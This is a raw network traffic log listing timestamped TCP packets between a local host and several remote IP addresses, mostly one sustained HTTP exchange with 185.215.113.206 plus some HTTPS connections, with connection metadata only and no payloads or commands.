Dec 7, 2024 00:15:51.221116066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.221183062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.222012997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.222204924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.223154068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.223222971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.223299026 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.223635912 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.223969936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.224013090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.224096060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.225017071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.225064993 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.225136042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.225641966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.225970030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.226084948 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.226131916 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.226984024 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.227116108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.227157116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.227963924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.228008986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.228061914 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.228168964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.228936911 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.229006052 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.229042053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.229080915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.229944944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.230056047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.230946064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.231005907 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.231039047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.231990099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.232038021 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.232085943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.232919931 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.232975960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.233038902 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.233088017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.233946085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.234033108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.234833956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.234868050 CET	49844	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.234884024 CET	443	49844	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.234910011 CET	49844	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.234915018 CET	443	49844	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.234980106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.235224962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.235281944 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.235933065 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.236044884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.236112118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.236912966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.237072945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.237118006 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.237958908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.238099098 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.238903999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.238962889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.239000082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.239900112 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.239948034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.239984989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.240880013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.240925074 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.240983963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.241645098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.241842031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.241974115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.242039919 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.242881060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.242980957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.243026018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.243841887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.243973970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.244019985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.244887114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.245625019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.245723963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.245785952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.248070002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.248081923 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.248092890 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.248106003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.248131037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.248166084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.248198986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.248244047 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.248393059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.249193907 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.249242067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.249339104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.249627113 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.249866962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.250160933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.250202894 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.250838995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.250956059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.251003981 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.251838923 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.251954079 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.252000093 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.252835035 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.253083944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.253133059 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.253809929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.253917933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.253971100 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.254040956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.254805088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.254862070 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.254901886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.255825996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.255880117 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.255904913 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.256781101 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.256829977 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.256905079 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.257632017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.257803917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.257889986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.257934093 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.258774042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.258876085 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.258922100 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.259799004 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.259953976 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.259999990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.260771990 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.260819912 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.260863066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.260914087 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.261759996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.261871099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.262794018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.262855053 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.263122082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.263775110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.263832092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.263855934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.264249086 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.264735937 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.264796019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.264832973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.265628099 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.265794992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.265974045 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.266020060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.266695023 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.269649029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.309588909 CET	49845	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.309614897 CET	443	49845	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.309633970 CET	49845	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.309639931 CET	443	49845	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.317676067 CET	49843	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.317703009 CET	443	49843	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.317714930 CET	49843	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.317725897 CET	443	49843	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.367420912 CET	49850	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.367455959 CET	443	49850	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.367521048 CET	49850	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.368410110 CET	49851	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.368432999 CET	443	49851	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.368491888 CET	49851	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.368709087 CET	49852	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.368726969 CET	443	49852	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.368772030 CET	49852	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.368927002 CET	49850	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.368937016 CET	443	49850	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.368973970 CET	49851	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.368987083 CET	443	49851	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.369209051 CET	49852	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:51.369220018 CET	443	49852	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:51.370841026 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.370846033 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.370939016 CET	49846	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:51.370951891 CET	443	49846	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:51.371701956 CET	49846	443	192.168.2.6	20.103.156.88
Dec 7, 2024 00:15:51.371707916 CET	443	49846	20.103.156.88	192.168.2.6
Dec 7, 2024 00:15:51.371922970 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.371927977 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.373564959 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.374310970 CET	49840	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.374325991 CET	443	49840	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.375737906 CET	49841	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.375745058 CET	443	49841	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.407381058 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.407459974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.407514095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.407567024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.407883883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.407936096 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.408065081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.408138037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.408771992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.408812046 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.409003019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.409050941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.409517050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.409574986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.409663916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.409707069 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.410504103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.410558939 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.410665035 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.410711050 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.411492109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.411541939 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.411581993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.411653996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.412540913 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.412592888 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.412622929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.412707090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.413499117 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.413558960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.413616896 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.413794994 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.414575100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.414629936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.414804935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.414870024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.415563107 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.415607929 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.415657043 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.415693998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.416459084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.416507006 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.416651964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.416718960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.417459965 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.417571068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.417574883 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.417608976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.418452024 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.418505907 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.418545008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.418582916 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.419446945 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.419502974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.419595957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.419634104 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.420433998 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.420476913 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.420541048 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.420583010 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.421432972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.421494961 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.421539068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.421632051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.422590971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.422645092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.422660112 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.422696114 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.423402071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.423459053 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.423526049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.423640013 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.424412966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.424459934 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.424508095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.424546957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.425409079 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.425445080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.425512075 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.425621033 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.426407099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.426467896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.426506996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.426546097 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.427411079 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.427508116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.427524090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.427608967 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.428383112 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.428456068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.428495884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.428657055 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.429394960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.429451942 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.429500103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.429583073 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.430372000 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.430414915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.430507898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.430573940 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.431420088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.431480885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.431617975 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.431653976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.432466030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.432524920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.432668924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.432734966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.433372974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.433435917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.433497906 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.433613062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.434067011 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:51.434142113 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:51.434384108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.434428930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.434499025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.434540033 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.435369968 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.435436010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.435465097 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.435477972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.436348915 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.436393976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.436454058 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.436492920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.437359095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.437412977 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.437460899 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.437500954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.438333035 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.438381910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.438446999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.438530922 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.439342022 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.439393997 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.439438105 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.439477921 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.440315008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.440362930 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.440509081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.440551996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.441306114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.441359043 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.441431999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.441540956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.442306995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.442389965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.442410946 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.442445040 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:51.443288088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:51.443339109 CET	49823	80	192.168.2.6	185.215.113.206
